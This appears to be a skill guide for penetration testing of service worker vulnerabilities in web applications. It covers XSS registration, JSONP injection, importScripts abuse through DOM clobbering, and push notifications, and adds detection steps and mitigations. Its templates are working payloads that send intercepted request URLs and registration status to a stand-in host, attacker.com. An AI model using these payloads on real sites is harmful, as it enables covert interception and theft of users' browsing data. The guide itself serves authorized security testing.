Service Worker XSS Testing

A skill for testing and exploiting service worker vulnerabilities in web applications.

When to Use This Skill

Use this skill when:

• Testing web applications for service worker security issues
• Investigating XSS vulnerabilities that could register malicious service workers
• Auditing applications that use service workers for offline functionality
• Testing for

  importScripts

  abuse and DOM clobbering attacks
• Evaluating push notification security risks
• Performing comprehensive XSS testing that includes service worker attack vectors

Understanding Service Workers

A service worker is a script that runs in the browser background, separate from web pages. It enables offline and background processing but can be exploited to:

• Intercept and modify all network requests within its scope
• Steal URLs and data from victim interactions
• Persist even after the original page is closed
• Bypass some CSP protections via

  importScripts

Attack Vectors

1. Arbitrary JS Upload + XSS Registration

Requirements:

• Ability to upload arbitrary JavaScript files to the server
• XSS vulnerability to load/register the uploaded service worker

Attack Flow:

1. Upload malicious service worker script to the target server
2. Use XSS to execute registration code
3. Service worker intercepts all fetch requests in scope

Malicious Service Worker Template:

self.addEventListener('fetch', function(e) {
  e.respondWith(caches.match(e.request).then(function(response) {
    // Send intercepted URL to attacker
    fetch('https://attacker.com/fetch_url/' + e.request.url);
    return response;
  }));
});

Registration Code (XSS Payload):

<script>
window.addEventListener('load', function() {
  var sw = "/path/to/uploaded/sw.js";
  navigator.serviceWorker.register(sw, {scope: '/'})
    .then(function(registration) {
      // Notify attacker of success
      var xhttp = new XMLHttpRequest();
      xhttp.open("GET", "https://attacker.com/SW/success", true);
      xhttp.send();
    }, function (err) {
      // Notify attacker of failure
      var xhttp = new XMLHttpRequest();
      xhttp.open("GET", "https://attacker.com/SW/error", true);
      xhttp.send();
    });
});
</script>

2. Vulnerable JSONP + Service Worker Registration

Requirements:

• JSONP endpoint with controllable callback output
• XSS to load the JSONP with malicious payload

Attack Flow:

1. Craft JSONP request that returns service worker code
2. Use XSS to load the JSONP endpoint
3. Service worker registers from JSONP response

JSONP Payload Example:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

3.

importScripts

Abuse via DOM Clobbering

Requirements:

• Service worker that uses

  importScripts

  with attacker-controllable parameter
• DOM clobbering capability to modify the parameter

Vulnerable Pattern:

// sw.js
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get("host");
self.importScripts(host + "/sw_extra.js"); // host is attacker-controlled

Attack:

1. Identify service worker with controllable

   importScripts

   parameter
2. Use DOM clobbering to modify the parameter value
3. Service worker loads malicious script from attacker domain
4. This bypasses CSP protections

4. Push Notification Exploitation

Risk Assessment:

• Permissions granted: Service worker can receive and execute push notifications without user interaction
• Permissions denied: Limits continuous threat potential

Testing:

1. Check if push notification permissions are requested
2. Test if service worker can be triggered via push
3. Evaluate persistence of malicious service worker

Detection Methods

Browser Developer Tools

1. Open Developer Tools (F12)
2. Navigate to Application tab
3. Check Service Workers section
4. View registered workers, scope, and status

Chrome Internals

• Visit

  chrome://serviceworker-internals

  for detailed service worker information
• Shows all registered workers across domains
• Useful for identifying unexpected service workers

Automated Detection

Use the

detect-service-workers.sh

script to check for service workers programmatically.

Mitigation Recommendations

For Site Operators

1. Lower Service Worker TTL: Reduce the 24-hour cache directive to minimize vulnerability window
2. Implement Kill-Switch: Create a mechanism to rapidly deactivate service workers
3. Validate Uploads: Strictly validate and sanitize any user-uploaded JavaScript
4. Scope Limitation: Use narrow scopes for service workers when possible
5. Monitor Registration: Log and monitor service worker registration events

For Developers

1. Avoid Dynamic

   importScripts

   : Don't use attacker-controllable parameters
2. Validate URL Parameters: Sanitize all parameters used in service worker registration
3. Use Subresource Integrity: Verify script integrity before loading
4. Implement CSP: While

   importScripts

   can bypass some CSP, it still provides defense in depth

Testing Checklist

• Check for existing service workers in Application tab
• Identify upload endpoints for JavaScript files
• Find XSS vulnerabilities that could register service workers
• Test JSONP endpoints for service worker injection
• Look for

  importScripts

  with controllable parameters
• Test DOM clobbering on service worker URLs
• Evaluate push notification permissions
• Check service worker scope and persistence
• Verify kill-switch mechanisms exist
• Review TTL settings

Tools

Shadow Workers

C2 framework for service worker exploitation

Detection Script

Run

scripts/detect-service-workers.sh

to programmatically check for service workers.

Payload Generator

Use

scripts/generate-sw-payload.py

to create custom service worker payloads for testing.

References

• PortSwigger: Hijacking Service Workers via DOM Clobbering
• Google: Service Workers Primer
• StackOverflow: Service Worker Kill-Switch
• Shadow Workers C2

Important Notes

• 24-Hour Persistence: Malicious service workers can persist for up to 24 hours after XSS fix (assuming online client)
• CSP Bypass:

  importScripts

  abuse can bypass Content Security Policy protections
• Scope Matters: Service workers operate within their registered scope - broader scope = greater impact
• User Interaction: Push notifications require permission but enable background execution
• Testing Ethics: Only test applications you have authorization to audit